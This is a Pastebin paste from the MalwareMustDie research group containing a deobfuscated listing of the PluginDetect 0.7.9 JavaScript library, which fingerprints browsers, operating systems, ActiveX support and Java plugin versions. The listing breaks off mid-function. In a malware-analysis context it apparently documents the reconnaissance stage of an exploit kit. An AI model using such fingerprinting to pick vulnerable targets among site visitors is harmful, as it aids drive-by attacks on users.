SHARE
TWEET

#MalwareMustDie - Deobfs PluginDetect 0.7.9. Nov 25, 2012

MalwareMustDie Nov 25th, 2012 181 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  var PluginDetect=
  2.  {
  3.    version:"0.7.9",name:"PluginDetect",handler:function(c,b,a)
  4.    {
  5.      return function()
  6.      {
  7.        c(b,a)
  8.      }
  9.    }
  10.    ,openTag:"<",isDefined:function(b)
  11.    {
  12.      return typeof b!="undefined"
  13.    }
  14.    ,isArray:function(b)
  15.    {
  16.      return(/array/i).test(Object.prototype.toString.call(b))
  17.    }
  18.    ,isFunc:function(b)
  19.    {
  20.      return typeof b=="function"
  21.    }
  22.    ,isString:function(b)
  23.    {
  24.      return typeof b=="string"
  25.    }
  26.    ,isNum:function(b)
  27.    {
  28.      return typeof b=="number"
  29.    }
  30.    ,isStrNum:function(b)
  31.    {
  32.      return(typeof b=="string"&&(/\d/).test(b))
  33.    }
  34.    ,getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-]/g,getNum:function(b,c)
  35.    {
  36.      var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;
  37.      return a?a[0]:null
  38.    }
  39.    ,compareNums:function(h,f,d)
  40.    {
  41.      var e=this,c,b,a,g=parseInt;
  42.      if(e.isStrNum(h)&&e.isStrNum(f))
  43.      {
  44.        if(e.isDefined(d)&&d.compareNums)
  45.        {
  46.          return d.compareNums(h,f)
  47.        }
  48.        c=h.split(e.splitNumRegx);
  49.        b=f.split(e.splitNumRegx);
  50.        for(a=0;a<Math.min(c.length,b.length);
  51.        a++)
  52.        {
  53.          if(g(c[a],10)>g(b[a],10))
  54.          {
  55.            return 1
  56.          }
  57.          if(g(c[a],10)<g(b[a],10))
  58.          {
  59.            return -1
  60.          }
  61.        }
  62.      }
  63.      return 0
  64.    }
  65.    ,formatNum:function(b,c)
  66.    {
  67.      var d=this,a,e;
  68.      if(!d.isStrNum(b))
  69.      {
  70.        return null
  71.      }
  72.      if(!d.isNum(c))
  73.      {
  74.        c=4
  75.      }
  76.      c--;
  77.      e=b.replace(/\s/g,"").split(d.splitNumRegx).concat(["0","0","0","0"]);
  78.      for(a=0;a<4;a++)
  79.      {
  80.        if(/^(0+)(.+)$/.test(e[a]))
  81.        {
  82.          e[a]=RegExp.$2
  83.        }
  84.        if(a>c||!(/\d/).test(e[a]))
  85.        {
  86.          e[a]="0"
  87.        }
  88.      }
  89.      return e.slice(0,4).join(",")
  90.    }
  91.    ,$$hasMimeType:function(a)
  92.    {
  93.      return function(c)
  94.      {
  95.        if(!a.isIE&&c)
  96.        {
  97.          var f,e,b,d=a.isArray(c)?c:(a.isString(c)?[c]:[]);
  98.          for(b=0;b<d.length;b++)
  99.          {
  100.            if(a.isString(d[b])&&/[^\s]/.test(d[b]))
  101.            {
  102.              f=navigator.mimeTypes[d[b]];
  103.              e=f?f.enabledPlugin:0;
  104.              if(e&&(e.name||e.description))
  105.              {
  106.                return f
  107.              }
  108.            }
  109.          }
  110.        }
  111.        return null
  112.      }
  113.    }
  114.    ,findNavPlugin:function(l,e,c)
  115.    {
  116.      var j=this,h=new RegExp(l,"i"),d=(!j.isDefined(e)||e)?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigator.plugins,g="",f,b,m;
  117.      for(f=0;f<a.length;f++)
  118.      {
  119.        m=a[f].description||g;
  120.        b=a[f].name||g;
  121.        if((h.test(m)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))||(h.test(b)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext))))
  122.        {
  123.          if(!k||!(k.test(m)||k.test(b)))
  124.          {
  125.            return a[f]
  126.          }
  127.        }
  128.      }
  129.      return null
  130.    }
  131.    ,getMimeEnabledPlugin:function(k,m,c)
  132.    {
  133.      var e=this,f,b=new RegExp(m,"i"),h="",g=c?new RegExp(c,"i"):0,a,l,d,j=e.isString(k)?[k]:k;
  134.      for(d=0;d<j.length;d++)
  135.      {
  136.        if((f=e.hasMimeType(j[d]))&&(f=f.enabledPlugin))
  137.        {
  138.          l=f.description||h;
  139.          a=f.name||h;
  140.          if(b.test(l)||b.test(a))
  141.          {
  142.            if(!g||!(g.test(l)||g.test(a)))
  143.            {
  144.              return f
  145.            }
  146.          }
  147.        }
  148.      }
  149.      return 0
  150.    }
  151.    ,getPluginFileVersion:function(f,b)
  152.    {
  153.      var h=this,e,d,g,a,c=-1;
  154.      if(h.OS>2||!f||!f.version||!(e=h.getNum(f.version)))
  155.      {
  156.        return b
  157.      }
  158.      if(!b)
  159.      {
  160.        return e
  161.      }
  162.      e=h.formatNum(e);
  163.      b=h.formatNum(b);
  164.      d=b.split(h.splitNumRegx);
  165.      g=e.split(h.splitNumRegx);
  166.      for(a=0;a<d.length;a++)
  167.      {
  168.        if(c>-1&&a>c&&d[a]!="0")
  169.        {
  170.          return b
  171.        }
  172.        if(g[a]!=d[a])
  173.        {
  174.          if(c==-1)
  175.          {
  176.            c=a
  177.          }
  178.          if(d[a]!="0")
  179.          {
  180.            return b
  181.          }
  182.        }
  183.      }
  184.      return e
  185.    }
  186.    ,AXO:window.ActiveXObject,getAXO:function(a)
  187.    {
  188.      var f=null,d,b=this,c=
  189.      {
  190.      };
  191.      try
  192.      {
  193.        f=new b.AXO(a)
  194.      }
  195.      catch(d)
  196.      {
  197.      }
  198.      return f
  199.    }
  200.    ,convertFuncs:function(f)
  201.    {
  202.      var a,g,d,b=/^[\$][\$]/,c=this;
  203.      for(a in f)
  204.      {
  205.        if(b.test(a))
  206.        {
  207.          try
  208.          {
  209.            g=a.slice(2);
  210.            if(g.length>0&&!f[g])
  211.            {
  212.              f[g]=f[a](f);
  213.              delete f[a]
  214.            }
  215.          }
  216.          catch(d)
  217.          {
  218.          }
  219.        }
  220.      }
  221.    }
  222.    ,initObj:function(e,b,d)
  223.    {
  224.      var a,c;
  225.      if(e)
  226.      {
  227.        if(e[b[0]]==1||d)
  228.        {
  229.          for(a=0;a<b.length;a=a+2)
  230.          {
  231.            e[b[a]]=b[a+1]
  232.          }
  233.        }
  234.        for(a in e)
  235.        {
  236.          c=e[a];
  237.          if(c&&c[b[0]]==1)
  238.          {
  239.            this.initObj(c,b)
  240.          }
  241.        }
  242.      }
  243.    }
  244.    ,initScript:function()
  245.    {
  246.      var d=this,a=navigator,h,i=document,l=a.userAgent||"",j=a.vendor||"",b=a.platform||"",k=a.product||"";d.initObj(d,["$",d]);
  247.      for(h in d.Plugins)
  248.      {
  249.        if(d.Plugins[h])
  250.        {
  251.          d.initObj(d.Plugins[h],["$",d,"$$",d.Plugins[h]],1)
  252.        }
  253.      }
  254.      d.convertFuncs(d);
  255.      d.OS=100;
  256.      if(b)
  257.      {
  258.        var g=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\s*PC",22.3,"",100];
  259.        for(h=g.length-2;h>=0;h=h-2)
  260.        {
  261.          if(g[h]&&new RegExp(g[h],"i").test(b))
  262.          {
  263.            d.OS=g[h+1];
  264.            break
  265.          }
  266.        }
  267.      };
  268.      d.head=i.getElementsByTagName("head")[0]||i.getElementsByTagName("body")[0]||i.body||null;
  269.      d.isIE=new Function("return/*@cc_on!@*/!1")();
  270.      d.verIE=d.isIE&&(/MSIE\s*(\d+\.?\d*)/i).test(l)?parseFloat(RegExp.$1,10):null;
  271.      d.ActiveXEnabled=false;
  272.      if(d.isIE)
  273.      {
  274.        var h,m=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary","wmplayer.ocx"];
  275.        for(h=0;h<m.length;h++)
  276.        {
  277.          if(d.getAXO(m[h]))
  278.          {
  279.            d.ActiveXEnabled=true;
  280.            break
  281.          }
  282.        }
  283.      };
  284.      d.isGecko=(/Gecko/i).test(k)&&(/Gecko\s*\/\s*\d/i).test(l);
  285.      d.verGecko=d.isGecko?d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l)?RegExp.$1:"0.9"):null;
  286.      d.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
  287.      d.verChrome=d.isChrome?d.formatNum(RegExp.$1):null;
  288.      d.isSafari=((/Apple/i).test(j)||(!j&&!d.isChrome))&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
  289.      d.verSafari=d.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(l)?d.formatNum(RegExp.$1):null;
  290.      d.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
  291.      d.verOpera=d.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(l)||1)?parseFloat(RegExp.$1,10):null;
  292.      d.addWinEvent("load",d.handler(d.runWLfuncs,d))
  293.    }
  294.    ,init:function(d)
  295.    {
  296.      var c=this,b,d,a=
  297.      {
  298.        status:-3,plugin:0
  299.      };
  300.      if(!c.isString(d))
  301.      {
  302.        return a
  303.      }
  304.      if(d.length==1)
  305.      {
  306.        c.getVersionDelimiter=d;
  307.        return a
  308.      }
  309.      d=d.toLowerCase().replace(/\s/g,"");
  310.      b=c.Plugins[d];
  311.      if(!b||!b.getVersion)
  312.      {
  313.        return a
  314.      }
  315.      a.plugin=b;
  316.      if(!c.isDefined(b.installed))
  317.      {
  318.        b.installed=null;
  319.        b.version=null;
  320.        b.version0=null;
  321.        b.getVersionDone=null;
  322.        b.pluginName=d
  323.      }
  324.      c.garbage=false;
  325.      if(c.isIE&&!c.ActiveXEnabled&&d!=="Ja"+"va")
  326.      {
  327.        a.status=-2;
  328.        return a
  329.      }
  330.      a.status=1;
  331.      return a
  332.    }
  333.    ,fPush:function(b,a)
  334.    {
  335.      var c=this;
  336.      if(c.isArray(a)&&(c.isFunc(b)||(c.isArray(b)&&b.length>0&&c.isFunc(b[0]))))
  337.      {
  338.        a.push(b)
  339.      }
  340.    }
  341.    ,callArray:function(b)
  342.    {
  343.      var c=this,a;
  344.      if(c.isArray(b))
  345.      {
  346.        for(a=0;a<b.length;a++)
  347.        {
  348.          if(b[a]===null)
  349.          {
  350.            return
  351.          }
  352.          c.call(b[a]);
  353.          b[a]=null
  354.        }
  355.      }
  356.    }
  357.    ,call:function(c)
  358.    {
  359.      var b=this,a=b.isArray(c)?c.length:-1;
  360.      if(a>0&&b.isFunc(c[0]))
  361.      {
  362.        c[0](b,a>1?c[1]:0,a>2?c[2]:0,a>3?c[3]:0)
  363.      }
  364.      else
  365.      {
  366.        if(b.isFunc(c))
  367.        {
  368.          c(b)
  369.        }
  370.      }
  371.    }
  372.    ,$$isMinVersion:function(a)
  373.    {
  374.      return function(h,g,d,c)
  375.      {
  376.        var e=a.init(h),f,b=-1,j=
  377.        {
  378.        };
  379.        if(e.status<0)
  380.        {
  381.          return e.status
  382.        }
  383.        f=e.plugin;
  384.        g=a.formatNum(a.isNum(g)?g.toString():(a.isStrNum(g)?a.getNum(g):"0"));
  385.        if(f.getVersionDone!=1)
  386.        {
  387.          f.getVersion(g,d,c);
  388.          if(f.getVersionDone===null)
  389.          {
  390.            f.getVersionDone=1
  391.          }
  392.        }
  393.        a.cleanup();
  394.        if(f.installed!==null)
  395.        {
  396.          b=f.installed<=0.5?f.installed:(f.installed==0.7?1:(f.version===null?0:(a.compareNums(f.version,g,f)>=0?1:-0.1)))
  397.        };
  398.        return b
  399.      }
  400.    }
  401.    ,getVersionDelimiter:",",$$getVersion:function(a)
  402.    {
  403.      return function(g,d,c)
  404.      {
  405.        var e=a.init(g),f,b,h=
  406.        {
  407.        };
  408.        if(e.status<0)
  409.        {
  410.          return null
  411.        };
  412.        f=e.plugin;
  413.        if(f.getVersionDone!=1)
  414.        {
  415.          f.getVersion(null,d,c);
  416.          if(f.getVersionDone===null)
  417.          {
  418.            f.getVersionDone=1
  419.          }
  420.        }
  421.        a.cleanup();
  422.        b=(f.version||f.version0);
  423.        b=b?b.replace(a.splitNumRegx,a.getVersionDelimiter):b;
  424.        return b
  425.      }
  426.    }
  427.    ,cleanup:function()
  428.    {
  429.      var a=this;
  430.      if(a.garbage&&a.isDefined(window.CollectGarbage))
  431.      {
  432.        window.CollectGarbage()
  433.      }
  434.    }
  435.    ,addWinEvent:function(d,c)
  436.    {
  437.      var e=this,a=window,b;
  438.      if(e.isFunc(c))
  439.      {
  440.        if(a.addEventListener)
  441.        {
  442.          a.addEventListener(d,c,false)
  443.        }
  444.        else
  445.        {
  446.          if(a.attachEvent)
  447.          {
  448.            a.attachEvent("on"+d,c)
  449.          }
  450.          else
  451.          {
  452.            b=a["on"+d];
  453.            a["on"+d]=e.winHandler(c,b)
  454.          }
  455.        }
  456.      }
  457.    }
  458.    ,winHandler:function(d,c)
  459.    {
  460.      return function()
  461.      {
  462.        d();
  463.        if(typeof c=="function")
  464.        {
  465.          c()
  466.        }
  467.      }
  468.    }
  469.    ,WLfuncs0:[],WLfuncs:[],runWLfuncs:function(a)
  470.    {
  471.      var b=
  472.      {
  473.      };
  474.      a.winLoaded=true;
  475.      a.callArray(a.WLfuncs0);
  476.      a.callArray(a.WLfuncs);
  477.      if(a.onDoneEmptyDiv)
  478.      {
  479.        a.onDoneEmptyDiv()
  480.      }
  481.    }
  482.    ,winLoaded:false,$$onWindowLoaded:function(a)
  483.    {
  484.      return function(b)
  485.      {
  486.        if(a.winLoaded)
  487.        {
  488.          a.call(b)
  489.        }
  490.        else
  491.        {
  492.          a.fPush(b,a.WLfuncs)
  493.        }
  494.      }
  495.    }
  496.    ,$$onDetectionDone:function(a)
  497.    {
  498.      return function(h,g,c,b)
  499.      {
  500.        var d=a.init(h),k,e,j=
  501.        {
  502.        };
  503.        if(d.status==-3)
  504.        {
  505.          return -1
  506.        }
  507.        e=d.plugin;
  508.        if(!a.isArray(e.funcs))
  509.        {
  510.          e.funcs=[]
  511.        }
  512.        if(e.getVersionDone!=1)
  513.        {
  514.          k=a.isMinVersion?a.isMinVersion(h,"0",c,b):a.getVersion(h,c,b)
  515.        }
  516.        if(e.installed!=-0.5&&e.installed!=0.5)
  517.        {
  518.          a.call(g);
  519.          return 1
  520.        }
  521.        if(e.NOTF)
  522.        {
  523.          a.fPush(g,e.funcs);
  524.          return 0
  525.        }
  526.        return 1
  527.      }
  528.    }
  529.    ,div:null,divID:"plugindetect",divWidth:50,pluginSize:1,emptyDiv:function()
  530.    {
  531.      var d=this,b,h,c,a,f,g;
  532.      if(d.div&&d.div.childNodes)
  533.      {
  534.        for(b=d.div.childNodes.length-1;b>=0;b--)
  535.        {
  536.          c=d.div.childNodes[b];
  537.          if(c&&c.childNodes)
  538.          {
  539.            for(h=c.childNodes.length-1;h>=0;h--)
  540.            {
  541.              g=c.childNodes[h];
  542.              try
  543.              {
  544.                c.removeChild(g)
  545.              }
  546.              catch(f)
  547.              {
  548.              }
  549.            }
  550.          }
  551.          if(c)
  552.          {
  553.            try
  554.            {
  555.              d.div.removeChild(c)
  556.            }
  557.            catch(f)
  558.            {
  559.            }
  560.          }
  561.        }
  562.      }
  563.      if(!d.div)
  564.      {
  565.        a=document.getElementById(d.divID);
  566.        if(a)
  567.        {
  568.          d.div=a
  569.        }
  570.      }
  571.      if(d.div&&d.div.parentNode)
  572.      {
  573.        try
  574.        {
  575.          d.div.parentNode.removeChild(d.div)
  576.        }
  577.        catch(f)
  578.        {
  579.        }
  580.        d.div=null
  581.      }
  582.    }
  583.    ,DONEfuncs:[],onDoneEmptyDiv:function()
  584.    {
  585.      var c=this,a,b;
  586.      if(!c.winLoaded)
  587.      {
  588.        return
  589.      }
  590.      if(c.WLfuncs&&c.WLfuncs.length&&c.WLfuncs[c.WLfuncs.length-1]!==null)
  591.      {
  592.        return
  593.      }
  594.      for(a in c)
  595.      {
  596.        b=c[a];
  597.        if(b&&b.funcs)
  598.        {
  599.          if(b.OTF==3)
  600.          {
  601.            return
  602.          }
  603.          if(b.funcs.length&&b.funcs[b.funcs.length-1]!==null)
  604.          {
  605.            return
  606.          }
  607.        }
  608.      }
  609.      for(a=0;a<c.DONEfuncs.length;a++)
  610.      {
  611.        c.callArray(c.DONEfuncs)
  612.      }
  613.      c.emptyDiv()
  614.    }
  615.    ,getWidth:function(c)
  616.    {
  617.      if(c)
  618.      {
  619.        var a=c.scrollWidth||c.offsetWidth,b=this;
  620.        if(b.isNum(a))
  621.        {
  622.          return a
  623.        }
  624.      }
  625.      return -1
  626.    }
  627.    ,getTagStatus:function(m,g,a,b)
  628.    {
  629.      var c=this,f,k=m.span,l=c.getWidth(k),h=a.span,j=c.getWidth(h),d=g.span,i=c.getWidth(d);
  630.      if(!k||!h||!d||!c.getDOMobj(m))
  631.      {
  632.        return -2
  633.      }
  634.      if(j<i||l<0||j<0||i<0||i<=c.pluginSize||c.pluginSize<1)
  635.      {
  636.        return 0
  637.      }
  638.      if(l>=i)
  639.      {
  640.        return -1
  641.      }
  642.      try
  643.      {
  644.        if(l==c.pluginSize&&(!c.isIE||c.getDOMobj(m).readyState==4))
  645.        {
  646.          if(!m.winLoaded&&c.winLoaded)
  647.          {
  648.            return 1
  649.          }
  650.          if(m.winLoaded&&c.isNum(b))
  651.          {
  652.            if(!c.isNum(m.count))
  653.            {
  654.              m.count=b
  655.            }
  656.            if(b-m.count>=10)
  657.            {
  658.              return 1
  659.            }
  660.          }
  661.        }
  662.      }
  663.      catch(f)
  664.      {
  665.      }
  666.      return 0
  667.    }
  668.    ,getDOMobj:function(g,a)
  669.    {
  670.      var f,d=this,c=g?g.span:0,b=c&&c.firstChild?1:0;
  671.      try
  672.      {
  673.        if(b&&a)
  674.        {
  675.          d.div.focus()
  676.        }
  677.      }
  678.      catch(f)
  679.      {
  680.      }
  681.      return b?c.firstChild:null
  682.    }
  683.    ,setStyle:function(b,g)
  684.    {
  685.      var f=b.style,a,d,c=this;
  686.      if(f&&g)
  687.      {
  688.        for(a=0;a<g.length;a=a+2)
  689.        {
  690.          try
  691.          {
  692.            f[g[a]]=g[a+1]
  693.          }
  694.          catch(d)
  695.          {
  696.          }
  697.        }
  698.      }
  699.    }
  700.    ,insertDivInBody:function(i,g)
  701.    {
  702.      var f,c=this,h="pd33993399",b=null,d=g?window.top.document:window.document,a=d.getElementsByTagName("body")[0]||d.body;
  703.      if(!a)
  704.      {
  705.        try
  706.        {
  707.          d.write('<div id="'+h+'">.'+c.openTag+"/div>");
  708.          b=d.getElementById(h)
  709.        }
  710.        catch(f)
  711.        {
  712.        }
  713.      }
  714.      a=d.getElementsByTagName("body")[0]||d.body;
  715.      if(a)
  716.      {
  717.        a.insertBefore(i,a.firstChild);
  718.        if(b)
  719.        {
  720.          a.removeChild(b)
  721.        }
  722.      }
  723.    }
  724.    ,insertHTML:function(f,b,g,a,k)
  725.    {
  726.      var l,m=document,j=this,p,o=m.createElement("span"),n,i;
  727.      var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"];
  728.      var h="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  729.      if(!j.isDefined(a))
  730.      {
  731.        a=""
  732.      }
  733.      if(j.isString(f)&&(/[^\s]/).test(f))
  734.      {
  735.        f=f.toLowerCase().replace(/\s/g,"");
  736.        p=j.openTag+f+' width="'+j.pluginSize+'" height="'+j.pluginSize+'" ';
  737.        p+='style="'+h+'display:inline;" ';
  738.        for(n=0;n<b.length;n=n+2)
  739.        {
  740.          if(/[^\s]/.test(b[n+1]))
  741.          {
  742.            p+=b[n]+'="'+b[n+1]+'" '
  743.          }
  744.        }
  745.        p+=">";
  746.        for(n=0;n<g.length;n=n+2)
  747.        {
  748.          if(/[^\s]/.test(g[n+1]))
  749.          {
  750.            p+=j.openTag+'param name="'+g[n]+'" value="'+g[n+1]+'" />'
  751.          }
  752.        }
  753.        p+=a+j.openTag+"/"+f+">"
  754.      }
  755.      else
  756.      {
  757.        p=a
  758.      }
  759.      if(!j.div)
  760.      {
  761.        i=m.getElementById(j.divID);
  762.        if(i)
  763.        {
  764.          j.div=i
  765.        }
  766.        else
  767.        {
  768.          j.div=m.createElement("div");
  769.          j.div.id=j.divID
  770.        }
  771.        j.setStyle(j.div,c.concat(["width",j.divWidth+"px","height",(j.pluginSize+3)+"px","fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","block"]));
  772.        if(!i)
  773.        {
  774.          j.setStyle(j.div,["position","absolute","right","0px","top","0px"]);
  775.          j.insertDivInBody(j.div)
  776.        }
  777.      }
  778.      if(j.div&&j.div.parentNode)
  779.      {
  780.        j.setStyle(o,c.concat(["fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","inline"]));
  781.        try
  782.        {
  783.          o.innerHTML=p
  784.        }
  785.        catch(l)
  786.        {
  787.        };
  788.        try
  789.        {
  790.          j.div.appendChild(o)
  791.        }
  792.        catch(l)
  793.        {
  794.        };
  795.        return
  796.        {
  797.          span:o,winLoaded:j.winLoaded,tagName:f,outerHTML:p
  798.        }
  799.      }
  800.      return
  801.      {
  802.        span:null,winLoaded:j.winLoaded,tagName:"",outerHTML:p
  803.      }
  804.    }
  805.    ,file:
  806.    {
  807.      $:1,any:"fileStorageAny999",valid:"fileStorageValid999",save:function(d,f,c)
  808.      {
  809.        var b=this,e=b.$,a;
  810.        if(d&&e.isDefined(c))
  811.        {
  812.          if(!d[b.any])
  813.          {
  814.            d[b.any]=[]
  815.          }
  816.          if(!d[b.valid])
  817.          {
  818.            d[b.valid]=[]
  819.          }
  820.          d[b.any].push(c);
  821.          a=b.split(f,c);
  822.          if(a)
  823.          {
  824.            d[b.valid].push(a)
  825.          }
  826.        }
  827.      }
  828.      ,getValidLength:function(a)
  829.      {
  830.        return a&&a[this.valid]?a[this.valid].length:0
  831.      }
  832.      ,getAnyLength:function(a)
  833.      {
  834.        return a&&a[this.any]?a[this.any].length:0
  835.      }
  836.      ,getValid:function(c,a)
  837.      {
  838.        var b=this;
  839.        return c&&c[b.valid]?b.get(c[b.valid],a):null
  840.      }
  841.      ,getAny:function(c,a)
  842.      {
  843.        var b=this;
  844.        return c&&c[b.any]?b.get(c[b.any],a):null
  845.      }
  846.      ,get:function(d,a)
  847.      {
  848.        var c=d.length-1,b=this.$.isNum(a)?a:c;
  849.        return(b<0||b>c)?null:d[b]
  850.      }
  851.      ,split:function(g,c)
  852.      {
  853.        var b=this,e=b.$,f=null,a,d;
  854.        g=g?g.replace(".","\."):"";
  855.        d=new RegExp("^(.*[^\/])("+g+"\s*)$");
  856.        if(e.isString(c)&&d.test(c))
  857.        {
  858.          a=(RegExp.$1).split("/");
  859.          f=
  860.          {
  861.            name:a[a.length-1],ext:RegExp.$2,full:c
  862.          };
  863.          a[a.length-1]="";
  864.          f.path=a.join("/")
  865.        }
  866.        return f
  867.      }
  868.      ,z:0
  869.    }
  870.    ,Plugins:
  871.    {
  872.      java:
  873.      {
  874.        mimeType:["application/x-java-applet","application/x-java-vm","application/x-java-bean"],classID:"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",navigator:
  875.        {
  876.          a:window.navigator.javaEnabled(),javaEnabled:function()
  877.          {
  878.            return this.a
  879.          }
  880.          ,mimeObj:0,pluginObj:0
  881.        }
  882.        ,OTF:null,minIEver:7,debug:0,debugEnable:function()
  883.        {
  884.          var a=this,b=a.$;
  885.          a.debug=1
  886.        }
  887.        ,isDisabled:
  888.        {
  889.          $:1,DTK:function()
  890.          {
  891.            var a=this,c=a.$,b=a.$$;
  892.            if((c.isGecko&&c.compareNums(c.verGecko,c.formatNum("1.6"))<=0)||(c.isSafari&&c.OS==1&&(!c.verSafari||c.compareNums(c.verSafari,"5,1,0,0")<0))||c.isChrome||(c.isIE&&!c.ActiveXEnabled))
  893.            {
  894.              return 1
  895.            }
  896.            return 0
  897.          }
  898.          ,AXO:function()
  899.          {
  900.            var a=this,c=a.$,b=a.$$;
  901.            return(!c.isIE||!c.ActiveXEnabled||(!b.debug&&b.DTK.query().status!==0))
  902.          }
  903.          ,navMime:function()
  904.          {
  905.            var b=this,d=b.$,c=b.$$,a=c.navigator;
  906.            if(d.isIE||!a.mimeObj||!a.pluginObj)
  907.            {
  908.              return 1
  909.            }
  910.            return 0
  911.          }
  912.          ,navPlugin:function()
  913.          {
  914.            var b=this,d=b.$,c=b.$$,a=c.navigator;
  915.            if(d.isIE||!a.mimeObj||!a.pluginObj)
  916.            {
  917.              return 1
  918.            }
  919.            return 0
  920.          }
  921.          ,windowDotJava:function()
  922.          {
  923.            var a=this,c=a.$,b=a.$$;
  924.            if(!window.java)
  925.            {
  926.              return 1
  927.            }
  928.            if(c.OS==2&&c.verOpera&&c.verOpera<9.2&&c.verOpera>=9)
  929.            {
  930.              return 1
  931.            }
  932.            return 0
  933.          }
  934.          ,allApplets:function()
  935.          {
  936.            var b=this,d=b.$,c=b.$$,a=c.navigator;
  937.            if(d.OS>=20)
  938.            {
  939.              return 0
  940.            }
  941.            if(d.verOpera&&d.verOpera<11&&!a.javaEnabled()&&!c.lang.System.getProperty()[0])
  942.            {
  943.              return 1
  944.            }
  945.            if((d.verGecko&&d.compareNums(d.verGecko,d.formatNum("2"))<0)&&!a.mimeObj&&!c.lang.System.getProperty()[0])
  946.            {
  947.              return 1
  948.            }
  949.            return 0
  950.          }
  951.          ,AppletTag:function()
  952.          {
  953.            var b=this,d=b.$,c=b.$$,a=c.navigator;
  954.            return d.isIE?!a.javaEnabled():0
  955.          }
  956.          ,ObjectTag:function()
  957.          {
  958.            var a=this,c=a.$,b=a.$$;
  959.            return c.isIE?!c.ActiveXEnabled:0
  960.          }
  961.          ,z:0
  962.        }
  963.        ,getVerifyTagsDefault:function()
  964.        {
  965.          var a=this,c=a.$,b=[1,0,1];
  966.          if(c.OS>=20)
  967.          {
  968.            return b
  969.          }
  970.          if((c.isIE&&(c.verIE<9||!c.ActiveXEnabled))||(c.verGecko&&c.compareNums(c.verGecko,c.formatNum("2"))<0)||(c.isSafari&&(!c.verSafari||c.compareNums(c.verSafari,c.formatNum("4"))<0))||(c.verOpera&&c.verOpera<10))
  971.          {
  972.            b=[1,1,1]
  973.          }
  974.          return b
  975.        }
  976.        ,getVersion:function(j,g,i)
  977.        {
  978.          var b=this,d=b.$,e,a=b.applet,h=b.verify,k=b.navigator,f=null,l=null,c=null;
  979.          if(b.getVersionDone===null)
  980.          {
  981.            b.OTF=0;
  982.            k.mimeObj=d.hasMimeType(b.mimeType);
  983.            if(k.mimeObj)
  984.            {
  985.              k.pluginObj=k.mimeObj.enabledPlugin
  986.            }
  987.            if(h)
  988.            {
  989.              h.begin()
  990.            }
  991.          }
  992.          a.setVerifyTagsArray(i);
  993.          d.file.save(b,".jar",g);
  994.          if(b.getVersionDone===0)
  995.          {
  996.            if(a.should_Insert_Query_Any())
  997.            {
  998.              e=a.insert_Query_Any();
  999.              b.setPluginStatus(e[0],e[1],f)
  1000.            }
  1001.            return
  1002.          }
  1003.          if((!f||b.debug)&&b.DTK.query().version)
  1004.          {
  1005.            f=b.DTK.version
  1006.          }
  1007.          if((!f||b.debug)&&b.navMime.query().version)
  1008.          {
  1009.            f=b.navMime.version
  1010.          }
  1011.          if((!f||b.debug)&&b.navPlugin.query().version)
  1012.          {
  1013.            f=b.navPlugin.version
  1014.          }
  1015.          if((!f||b.debug)&&b.AXO.query().version)
  1016.          {
  1017.            f=b.AXO.version
  1018.          }
  1019.          if(b.nonAppletDetectionOk(f))
  1020.          {
  1021.            c=f
  1022.          }
  1023.          if(!c||b.debug||a.VerifyTagsHas(2.2)||a.VerifyTagsHas(2.5))
  1024.          {
  1025.            e=b.lang.System.getProperty();
  1026.            if(e[0])
  1027.            {
  1028.              f=e[0];
  1029.              c=e[0];
  1030.              l=e[1]
  1031.            }
  1032.          }
  1033.          b.setPluginStatus(c,l,f);
  1034.          if(a.should_Insert_Query_Any())
  1035.          {
  1036.            e=a.insert_Query_Any();
  1037.            if(e[0])
  1038.            {
  1039.              c=e[0];
  1040.              l=e[1]
  1041.            }
  1042.          }
  1043.          b.setPluginStatus(c,l,f)
  1044.        }
  1045.        ,nonAppletDetectionOk:function(b)
  1046.        {
  1047.          var d=this,e=d.$,a=d.navigator,c=1;
  1048.          if(!b||(!a.javaEnabled()&&!d.lang.System.getPropertyHas(b))||(!e.isIE&&!a.mimeObj&&!d.lang.System.getPropertyHas(b))||(e.isIE&&!e.ActiveXEnabled))
  1049.          {
  1050.            c=0
  1051.          }
  1052.          else
  1053.          {
  1054.            if(e.OS>=20)
  1055.            {
  1056.            }
  1057.            else
  1058.            {
  1059.              if(d.info&&d.info.getPlugin2Status()<0&&d.info.BrowserRequiresPlugin2())
  1060.              {
  1061.                c=0
  1062.              }
  1063.            }
  1064.          }
  1065.          return c
  1066.        }
  1067.        ,setPluginStatus:function(d,f,a)
  1068.        {
  1069.          var c=this,e=c.$,b;
  1070.          a=a||c.version0;
  1071.          if(c.OTF>0)
  1072.          {
  1073.            d=d||c.lang.System.getProperty()[0]
  1074.          }
  1075.          if(c.OTF<3)
  1076.          {
  1077.            b=d?1:(a?-0.2:-1);
  1078.            if(c.installed===null||b>c.installed)
  1079.            {
  1080.              c.installed=b
  1081.            }
  1082.          }
  1083.          if(c.OTF==2&&c.NOTF&&!c.applet.getResult()[0]&&!c.lang.System.getProperty()[0])
  1084.          {
  1085.            c.installed=a?-0.2:-1
  1086.          };
  1087.          if(c.OTF==3&&c.installed!=-0.5&&c.installed!=0.5)
  1088.          {
